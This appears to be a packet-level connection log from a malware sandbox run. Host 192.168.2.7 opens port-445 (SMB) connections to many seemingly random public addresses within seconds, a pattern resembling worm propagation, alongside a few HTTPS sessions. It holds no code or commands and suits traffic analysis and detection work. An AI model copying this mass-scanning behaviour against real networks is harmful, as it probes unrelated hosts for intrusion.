Jul 20, 2022 15:45:00.212915897 CEST	52217	445	192.168.2.7	67.154.219.76
Jul 20, 2022 15:45:00.232223034 CEST	52218	445	192.168.2.7	86.45.153.148
Jul 20, 2022 15:45:00.232795000 CEST	52219	445	192.168.2.7	162.52.204.185
Jul 20, 2022 15:45:00.233361006 CEST	52220	445	192.168.2.7	138.70.148.100
Jul 20, 2022 15:45:00.258491993 CEST	52222	445	192.168.2.7	116.183.142.189
Jul 20, 2022 15:45:00.259087086 CEST	52223	445	192.168.2.7	218.203.197.47
Jul 20, 2022 15:45:00.259604931 CEST	52224	445	192.168.2.7	12.207.20.207
Jul 20, 2022 15:45:00.260133028 CEST	52225	445	192.168.2.7	182.29.178.41
Jul 20, 2022 15:45:00.260806084 CEST	52226	445	192.168.2.7	205.202.44.246
Jul 20, 2022 15:45:00.261332989 CEST	52227	445	192.168.2.7	52.177.238.93
Jul 20, 2022 15:45:00.261876106 CEST	52228	445	192.168.2.7	114.231.12.14
Jul 20, 2022 15:45:00.264020920 CEST	52232	445	192.168.2.7	89.118.119.48
Jul 20, 2022 15:45:00.265012026 CEST	52234	445	192.168.2.7	12.225.161.144
Jul 20, 2022 15:45:00.265975952 CEST	52236	445	192.168.2.7	106.155.246.133
Jul 20, 2022 15:45:00.267971039 CEST	52238	445	192.168.2.7	30.11.43.82
Jul 20, 2022 15:45:00.277502060 CEST	52239	445	192.168.2.7	145.186.185.82
Jul 20, 2022 15:45:00.277705908 CEST	52240	445	192.168.2.7	143.112.73.135
Jul 20, 2022 15:45:00.437483072 CEST	445	52224	12.207.20.207	192.168.2.7
Jul 20, 2022 15:45:01.101262093 CEST	52224	445	192.168.2.7	12.207.20.207
Jul 20, 2022 15:45:01.279223919 CEST	445	52224	12.207.20.207	192.168.2.7
Jul 20, 2022 15:45:01.362138987 CEST	52247	445	192.168.2.7	84.88.32.217
Jul 20, 2022 15:45:01.363576889 CEST	52250	445	192.168.2.7	196.105.223.95
Jul 20, 2022 15:45:01.365358114 CEST	52251	445	192.168.2.7	28.226.22.39
Jul 20, 2022 15:45:01.367134094 CEST	52252	445	192.168.2.7	3.141.34.0
Jul 20, 2022 15:45:01.367281914 CEST	52253	445	192.168.2.7	213.87.39.94
Jul 20, 2022 15:45:01.367373943 CEST	52254	445	192.168.2.7	31.49.111.240
Jul 20, 2022 15:45:01.367439032 CEST	52255	445	192.168.2.7	85.242.187.245
Jul 20, 2022 15:45:01.367507935 CEST	52256	445	192.168.2.7	219.45.146.111
Jul 20, 2022 15:45:01.367686033 CEST	52258	445	192.168.2.7	206.111.253.134
Jul 20, 2022 15:45:01.468760014 CEST	52261	445	192.168.2.7	101.93.70.229
Jul 20, 2022 15:45:01.469813108 CEST	52263	445	192.168.2.7	211.84.232.141
Jul 20, 2022 15:45:01.470316887 CEST	52264	445	192.168.2.7	29.3.91.155
Jul 20, 2022 15:45:01.470838070 CEST	52265	445	192.168.2.7	67.142.173.1
Jul 20, 2022 15:45:01.472223043 CEST	52268	445	192.168.2.7	191.232.92.69
Jul 20, 2022 15:45:01.554229021 CEST	52270	445	192.168.2.7	103.186.0.44
Jul 20, 2022 15:45:01.554449081 CEST	52271	445	192.168.2.7	30.168.133.22
Jul 20, 2022 15:45:01.554549932 CEST	52272	445	192.168.2.7	147.150.29.236
Jul 20, 2022 15:45:01.554630995 CEST	52273	445	192.168.2.7	83.5.140.87
Jul 20, 2022 15:45:01.555057049 CEST	52274	445	192.168.2.7	117.15.74.21
Jul 20, 2022 15:45:01.555262089 CEST	52276	445	192.168.2.7	202.147.9.241
Jul 20, 2022 15:45:01.555330038 CEST	52277	445	192.168.2.7	183.195.106.140
Jul 20, 2022 15:45:01.555409908 CEST	52278	445	192.168.2.7	117.214.226.151
Jul 20, 2022 15:45:01.555490017 CEST	52279	445	192.168.2.7	36.128.165.84
Jul 20, 2022 15:45:01.555583000 CEST	52280	445	192.168.2.7	50.167.139.148
Jul 20, 2022 15:45:01.555646896 CEST	52282	445	192.168.2.7	193.185.217.140
Jul 20, 2022 15:45:01.555727005 CEST	52283	445	192.168.2.7	168.51.197.145
Jul 20, 2022 15:45:01.555815935 CEST	52284	445	192.168.2.7	99.216.148.230
Jul 20, 2022 15:45:01.555932999 CEST	52288	445	192.168.2.7	132.204.217.63
Jul 20, 2022 15:45:01.556025028 CEST	52290	445	192.168.2.7	113.6.166.76
Jul 20, 2022 15:45:01.988450050 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:01.988509893 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:01.988595963 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:01.997035980 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:01.997061014 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:02.518064022 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:02.518255949 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:02.766614914 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:02.766645908 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:02.766928911 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:02.768409014 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:02.808490038 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:02.869316101 CEST	52298	445	192.168.2.7	142.130.22.71
Jul 20, 2022 15:45:02.869965076 CEST	52299	445	192.168.2.7	145.157.114.151
Jul 20, 2022 15:45:02.870913982 CEST	52301	445	192.168.2.7	206.141.79.240
Jul 20, 2022 15:45:02.871429920 CEST	52302	445	192.168.2.7	203.0.52.9
Jul 20, 2022 15:45:02.871905088 CEST	52303	445	192.168.2.7	175.120.129.189
Jul 20, 2022 15:45:02.872410059 CEST	52304	445	192.168.2.7	149.236.215.174
Jul 20, 2022 15:45:02.872864008 CEST	52305	445	192.168.2.7	84.118.215.218
Jul 20, 2022 15:45:02.873790026 CEST	52307	445	192.168.2.7	95.41.86.11
Jul 20, 2022 15:45:02.874309063 CEST	52308	445	192.168.2.7	187.25.244.176
Jul 20, 2022 15:45:02.874814034 CEST	52309	445	192.168.2.7	25.190.188.81
Jul 20, 2022 15:45:02.875317097 CEST	52310	445	192.168.2.7	9.176.245.26
Jul 20, 2022 15:45:02.875822067 CEST	52311	445	192.168.2.7	203.36.251.23
Jul 20, 2022 15:45:02.877249002 CEST	52314	445	192.168.2.7	22.155.237.81
Jul 20, 2022 15:45:02.878372908 CEST	52316	445	192.168.2.7	162.173.220.136
Jul 20, 2022 15:45:02.878876925 CEST	52317	445	192.168.2.7	61.89.4.149
Jul 20, 2022 15:45:02.879381895 CEST	52318	445	192.168.2.7	8.70.65.182
Jul 20, 2022 15:45:02.879883051 CEST	52319	445	192.168.2.7	52.162.37.96
Jul 20, 2022 15:45:02.880847931 CEST	52321	445	192.168.2.7	154.186.128.25
Jul 20, 2022 15:45:02.881792068 CEST	52323	445	192.168.2.7	198.110.53.78
Jul 20, 2022 15:45:02.882857084 CEST	52325	445	192.168.2.7	211.127.72.36
Jul 20, 2022 15:45:02.883339882 CEST	52326	445	192.168.2.7	73.48.226.21
Jul 20, 2022 15:45:02.883841038 CEST	52327	445	192.168.2.7	43.12.197.184
Jul 20, 2022 15:45:02.884350061 CEST	52328	445	192.168.2.7	108.119.163.9
Jul 20, 2022 15:45:02.884860992 CEST	52329	445	192.168.2.7	128.169.7.134
Jul 20, 2022 15:45:02.885358095 CEST	52330	445	192.168.2.7	25.145.143.195
Jul 20, 2022 15:45:02.886933088 CEST	52333	445	192.168.2.7	186.75.224.113
Jul 20, 2022 15:45:02.887435913 CEST	52334	445	192.168.2.7	89.154.144.197
Jul 20, 2022 15:45:02.888489962 CEST	52336	445	192.168.2.7	10.173.0.68
Jul 20, 2022 15:45:02.889435053 CEST	52338	445	192.168.2.7	119.165.103.112
Jul 20, 2022 15:45:02.891258001 CEST	52342	445	192.168.2.7	79.21.189.29
Jul 20, 2022 15:45:02.991703987 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:03.074824095 CEST	445	52343	188.18.139.32	192.168.2.7
Jul 20, 2022 15:45:03.074970007 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:03.108733892 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.108778000 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.108815908 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.108923912 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.108938932 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.108956099 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.108993053 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.109002113 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.109025002 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.109060049 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.109067917 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.109078884 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.109128952 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.109152079 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.109186888 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:03.109205008 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.109261036 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.109270096 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.109297037 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.109313011 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.109345913 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.115065098 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.115087986 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.115206003 CEST	52295	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:03.115215063 CEST	443	52295	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:03.194756031 CEST	445	52343	188.18.139.32	192.168.2.7
Jul 20, 2022 15:45:03.194787025 CEST	445	52343	188.18.139.32	192.168.2.7
Jul 20, 2022 15:45:03.198909044 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:03.286902905 CEST	445	52343	188.18.139.32	192.168.2.7
Jul 20, 2022 15:45:03.398329020 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:03.448931932 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:03.537487030 CEST	445	52343	188.18.139.32	192.168.2.7
Jul 20, 2022 15:45:03.549469948 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:03.634743929 CEST	445	52343	188.18.139.32	192.168.2.7
Jul 20, 2022 15:45:03.788984060 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:04.892031908 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:04.903175116 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:04.903230906 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:04.903345108 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:04.918313026 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:04.918339968 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:04.982810020 CEST	445	52343	188.18.139.32	192.168.2.7
Jul 20, 2022 15:45:04.982959032 CEST	52343	445	192.168.2.7	188.18.139.32
Jul 20, 2022 15:45:05.042073965 CEST	52352	445	192.168.2.7	183.114.116.72
Jul 20, 2022 15:45:05.042624950 CEST	52353	445	192.168.2.7	174.211.5.74
Jul 20, 2022 15:45:05.043164968 CEST	52354	445	192.168.2.7	153.193.210.196
Jul 20, 2022 15:45:05.043704987 CEST	52355	445	192.168.2.7	124.193.251.91
Jul 20, 2022 15:45:05.044234991 CEST	52356	445	192.168.2.7	22.122.102.114
Jul 20, 2022 15:45:05.044751883 CEST	52357	445	192.168.2.7	220.243.168.119
Jul 20, 2022 15:45:05.046277046 CEST	52360	445	192.168.2.7	23.130.34.107
Jul 20, 2022 15:45:05.046789885 CEST	52361	445	192.168.2.7	176.53.205.162
Jul 20, 2022 15:45:05.048032999 CEST	52363	445	192.168.2.7	68.36.227.156
Jul 20, 2022 15:45:05.049071074 CEST	52365	445	192.168.2.7	201.59.89.81
Jul 20, 2022 15:45:05.050947905 CEST	52369	445	192.168.2.7	87.223.57.49
Jul 20, 2022 15:45:05.110443115 CEST	52370	445	192.168.2.7	15.217.203.121
Jul 20, 2022 15:45:05.112512112 CEST	52371	445	192.168.2.7	19.248.71.244
Jul 20, 2022 15:45:05.112555981 CEST	52372	445	192.168.2.7	64.245.218.252
Jul 20, 2022 15:45:05.112626076 CEST	52373	445	192.168.2.7	72.228.156.37
Jul 20, 2022 15:45:05.112689018 CEST	52374	445	192.168.2.7	217.244.189.219
Jul 20, 2022 15:45:05.112777948 CEST	52375	445	192.168.2.7	158.229.8.38
Jul 20, 2022 15:45:05.112858057 CEST	52376	445	192.168.2.7	205.225.54.167
Jul 20, 2022 15:45:05.112931013 CEST	52377	445	192.168.2.7	187.115.234.141
Jul 20, 2022 15:45:05.113079071 CEST	52379	445	192.168.2.7	128.56.251.64
Jul 20, 2022 15:45:05.113141060 CEST	52380	445	192.168.2.7	129.84.237.165
Jul 20, 2022 15:45:05.113219023 CEST	52381	445	192.168.2.7	141.191.65.95
Jul 20, 2022 15:45:05.113276958 CEST	52382	445	192.168.2.7	1.28.139.32
Jul 20, 2022 15:45:05.113377094 CEST	52383	445	192.168.2.7	222.135.236.228
Jul 20, 2022 15:45:05.113502026 CEST	52386	445	192.168.2.7	167.230.30.150
Jul 20, 2022 15:45:05.113600016 CEST	52388	445	192.168.2.7	36.29.143.203
Jul 20, 2022 15:45:05.113729000 CEST	52389	445	192.168.2.7	147.146.164.45
Jul 20, 2022 15:45:05.113764048 CEST	52390	445	192.168.2.7	113.141.131.56
Jul 20, 2022 15:45:05.113812923 CEST	52391	445	192.168.2.7	187.133.221.115
Jul 20, 2022 15:45:05.113903999 CEST	52393	445	192.168.2.7	161.23.80.42
Jul 20, 2022 15:45:05.114008904 CEST	52395	445	192.168.2.7	139.56.253.29
Jul 20, 2022 15:45:05.114161015 CEST	52399	445	192.168.2.7	188.18.139.33
Jul 20, 2022 15:45:05.426448107 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.426645041 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.496490955 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.496520996 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.496859074 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.497915030 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.540501118 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.832329988 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.832355022 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.832376003 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.832495928 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.832532883 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.832552910 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.832567930 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.832595110 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.832604885 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.832676888 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.839878082 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.839915037 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.839930058 CEST	52347	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.839936972 CEST	443	52347	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.944199085 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.944251060 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:05.944340944 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.944861889 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:05.944876909 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:06.164758921 CEST	52404	445	192.168.2.7	9.227.199.164
Jul 20, 2022 15:45:06.166866064 CEST	52408	445	192.168.2.7	87.133.71.13
Jul 20, 2022 15:45:06.168014050 CEST	52410	445	192.168.2.7	195.163.155.137
Jul 20, 2022 15:45:06.169044018 CEST	52412	445	192.168.2.7	72.29.234.198
Jul 20, 2022 15:45:06.169578075 CEST	52413	445	192.168.2.7	28.231.80.33
Jul 20, 2022 15:45:06.171183109 CEST	52416	445	192.168.2.7	46.108.116.207
Jul 20, 2022 15:45:06.172210932 CEST	52417	445	192.168.2.7	60.214.216.18
Jul 20, 2022 15:45:06.173202038 CEST	52418	445	192.168.2.7	114.173.223.94
Jul 20, 2022 15:45:06.174247980 CEST	52419	445	192.168.2.7	31.26.71.162
Jul 20, 2022 15:45:06.175335884 CEST	52420	445	192.168.2.7	129.1.137.65
Jul 20, 2022 15:45:06.176366091 CEST	52421	445	192.168.2.7	193.252.157.67
Jul 20, 2022 15:45:06.187395096 CEST	52423	445	192.168.2.7	188.18.139.34
Jul 20, 2022 15:45:06.228156090 CEST	52425	445	192.168.2.7	132.247.54.60
Jul 20, 2022 15:45:06.228678942 CEST	52426	445	192.168.2.7	81.203.60.222
Jul 20, 2022 15:45:06.229258060 CEST	52427	445	192.168.2.7	28.98.9.63
Jul 20, 2022 15:45:06.229681015 CEST	52428	445	192.168.2.7	213.175.154.5
Jul 20, 2022 15:45:06.230902910 CEST	52430	445	192.168.2.7	30.69.65.11
Jul 20, 2022 15:45:06.231929064 CEST	52432	445	192.168.2.7	155.16.254.163
Jul 20, 2022 15:45:06.242459059 CEST	52436	445	192.168.2.7	28.249.208.0
Jul 20, 2022 15:45:06.242491961 CEST	52437	445	192.168.2.7	60.69.136.19
Jul 20, 2022 15:45:06.242624998 CEST	52438	445	192.168.2.7	48.18.187.64
Jul 20, 2022 15:45:06.242712975 CEST	52439	445	192.168.2.7	219.158.102.240
Jul 20, 2022 15:45:06.242816925 CEST	52441	445	192.168.2.7	220.208.202.127
Jul 20, 2022 15:45:06.242837906 CEST	52442	445	192.168.2.7	221.134.220.46
Jul 20, 2022 15:45:06.242954969 CEST	52443	445	192.168.2.7	122.117.4.113
Jul 20, 2022 15:45:06.242970943 CEST	52444	445	192.168.2.7	195.60.218.241
Jul 20, 2022 15:45:06.243110895 CEST	52445	445	192.168.2.7	125.118.18.177
Jul 20, 2022 15:45:06.243240118 CEST	52448	445	192.168.2.7	116.190.195.32
Jul 20, 2022 15:45:06.243261099 CEST	52449	445	192.168.2.7	157.182.113.66
Jul 20, 2022 15:45:06.243392944 CEST	52450	445	192.168.2.7	15.101.136.39
Jul 20, 2022 15:45:06.243462086 CEST	52451	445	192.168.2.7	220.32.67.15
Jul 20, 2022 15:45:06.244642019 CEST	52452	445	192.168.2.7	109.226.107.0
Jul 20, 2022 15:45:06.529515028 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:06.529654980 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:06.539001942 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:06.539022923 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:06.539649963 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:06.541193008 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:06.584523916 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.281414986 CEST	52455	445	192.168.2.7	188.18.139.35
Jul 20, 2022 15:45:07.334542036 CEST	52461	445	192.168.2.7	79.225.180.226
Jul 20, 2022 15:45:07.334676981 CEST	52463	445	192.168.2.7	88.234.125.27
Jul 20, 2022 15:45:07.334754944 CEST	52464	445	192.168.2.7	16.48.101.32
Jul 20, 2022 15:45:07.334826946 CEST	52466	445	192.168.2.7	137.172.179.239
Jul 20, 2022 15:45:07.334881067 CEST	52467	445	192.168.2.7	159.66.65.49
Jul 20, 2022 15:45:07.334985018 CEST	52465	445	192.168.2.7	206.71.222.82
Jul 20, 2022 15:45:07.335107088 CEST	52468	445	192.168.2.7	200.125.216.229
Jul 20, 2022 15:45:07.335237980 CEST	52471	445	192.168.2.7	145.167.29.253
Jul 20, 2022 15:45:07.335308075 CEST	52472	445	192.168.2.7	219.189.151.152
Jul 20, 2022 15:45:07.335381985 CEST	52473	445	192.168.2.7	91.223.80.203
Jul 20, 2022 15:45:07.335486889 CEST	52475	445	192.168.2.7	36.152.100.41
Jul 20, 2022 15:45:07.338687897 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.338715076 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.338781118 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.338843107 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:07.338860035 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.338871956 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.338882923 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:07.338891029 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.338918924 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:07.338936090 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.338970900 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:07.339000940 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:07.358053923 CEST	52478	445	192.168.2.7	221.82.80.243
Jul 20, 2022 15:45:07.358129978 CEST	52479	445	192.168.2.7	15.21.156.118
Jul 20, 2022 15:45:07.358244896 CEST	52480	445	192.168.2.7	25.210.56.187
Jul 20, 2022 15:45:07.358289003 CEST	52481	445	192.168.2.7	198.190.62.228
Jul 20, 2022 15:45:07.358380079 CEST	52483	445	192.168.2.7	190.50.224.54
Jul 20, 2022 15:45:07.358460903 CEST	52485	445	192.168.2.7	174.251.88.241
Jul 20, 2022 15:45:07.367146015 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:07.367187023 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.367239952 CEST	52400	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:07.367248058 CEST	443	52400	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:07.372962952 CEST	52489	445	192.168.2.7	108.54.185.110
Jul 20, 2022 15:45:07.373502970 CEST	52490	445	192.168.2.7	175.109.249.225
Jul 20, 2022 15:45:07.374027014 CEST	52491	445	192.168.2.7	156.187.50.187
Jul 20, 2022 15:45:07.374521971 CEST	52492	445	192.168.2.7	81.179.141.206
Jul 20, 2022 15:45:07.375025988 CEST	52493	445	192.168.2.7	222.78.61.166
Jul 20, 2022 15:45:07.389278889 CEST	52495	445	192.168.2.7	17.173.12.85
Jul 20, 2022 15:45:07.392927885 CEST	52497	445	192.168.2.7	2.154.52.87
Jul 20, 2022 15:45:07.392978907 CEST	52498	445	192.168.2.7	96.108.41.71
Jul 20, 2022 15:45:07.393111944 CEST	52500	445	192.168.2.7	201.51.248.195
Jul 20, 2022 15:45:07.393142939 CEST	52499	445	192.168.2.7	182.189.246.25
Jul 20, 2022 15:45:07.393196106 CEST	52502	445	192.168.2.7	166.156.115.38
Jul 20, 2022 15:45:07.393239975 CEST	52503	445	192.168.2.7	131.222.204.46
Jul 20, 2022 15:45:07.393282890 CEST	52504	445	192.168.2.7	56.234.201.78
Jul 20, 2022 15:45:07.393357992 CEST	52505	445	192.168.2.7	19.83.51.153
Jul 20, 2022 15:45:08.338603020 CEST	52509	445	192.168.2.7	188.18.139.36
Jul 20, 2022 15:45:08.434356928 CEST	52514	445	192.168.2.7	86.90.140.143
Jul 20, 2022 15:45:08.434412003 CEST	52518	445	192.168.2.7	154.81.7.96
Jul 20, 2022 15:45:08.434461117 CEST	52516	445	192.168.2.7	8.234.8.156
Jul 20, 2022 15:45:08.434571981 CEST	52519	445	192.168.2.7	73.237.196.206
Jul 20, 2022 15:45:08.447419882 CEST	52520	445	192.168.2.7	152.81.195.15
Jul 20, 2022 15:45:08.447508097 CEST	52521	445	192.168.2.7	150.190.253.214
Jul 20, 2022 15:45:08.473929882 CEST	52526	445	192.168.2.7	214.119.119.231
Jul 20, 2022 15:45:08.474071980 CEST	52527	445	192.168.2.7	103.104.206.213
Jul 20, 2022 15:45:08.474073887 CEST	52528	445	192.168.2.7	23.115.129.94
Jul 20, 2022 15:45:08.474134922 CEST	52530	445	192.168.2.7	39.191.179.148
Jul 20, 2022 15:45:08.474221945 CEST	52532	445	192.168.2.7	130.128.139.157
Jul 20, 2022 15:45:08.474222898 CEST	52531	445	192.168.2.7	79.134.192.78
Jul 20, 2022 15:45:08.474314928 CEST	52534	445	192.168.2.7	191.205.43.153
Jul 20, 2022 15:45:08.474380970 CEST	52535	445	192.168.2.7	194.229.95.151
Jul 20, 2022 15:45:08.474505901 CEST	52538	445	192.168.2.7	40.222.165.174
Jul 20, 2022 15:45:08.474555016 CEST	52539	445	192.168.2.7	143.190.103.106
Jul 20, 2022 15:45:08.474941015 CEST	52542	445	192.168.2.7	216.212.168.219
Jul 20, 2022 15:45:08.497165918 CEST	52543	445	192.168.2.7	184.68.131.218
Jul 20, 2022 15:45:08.498282909 CEST	52545	445	192.168.2.7	23.48.42.81
Jul 20, 2022 15:45:08.498754978 CEST	52546	445	192.168.2.7	51.144.214.9
Jul 20, 2022 15:45:08.499284983 CEST	52547	445	192.168.2.7	129.92.202.84
Jul 20, 2022 15:45:08.500289917 CEST	52549	445	192.168.2.7	169.162.202.236
Jul 20, 2022 15:45:08.500860929 CEST	52550	445	192.168.2.7	196.46.112.148
Jul 20, 2022 15:45:08.501301050 CEST	52551	445	192.168.2.7	217.54.217.249
Jul 20, 2022 15:45:08.501826048 CEST	52552	445	192.168.2.7	29.103.115.212
Jul 20, 2022 15:45:08.502804041 CEST	52554	445	192.168.2.7	77.244.179.104
Jul 20, 2022 15:45:08.503747940 CEST	52556	445	192.168.2.7	180.33.77.201
Jul 20, 2022 15:45:08.504230022 CEST	52557	445	192.168.2.7	101.149.233.163
Jul 20, 2022 15:45:08.504995108 CEST	52558	445	192.168.2.7	109.127.173.162
Jul 20, 2022 15:45:08.505494118 CEST	52559	445	192.168.2.7	120.154.200.16
Jul 20, 2022 15:45:08.544255018 CEST	445	52554	77.244.179.104	192.168.2.7
Jul 20, 2022 15:45:08.709950924 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.710005045 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.710131884 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.710808039 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.710833073 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.794408083 CEST	445	52556	180.33.77.201	192.168.2.7
Jul 20, 2022 15:45:08.799990892 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.800205946 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.801975012 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.801995993 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.810398102 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.810430050 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.810740948 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.810758114 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.880044937 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.880172968 CEST	52560	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:08.880196095 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.880218029 CEST	443	52560	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:08.880266905 CEST	52560	443	192.168.2.7	20.40.129.122
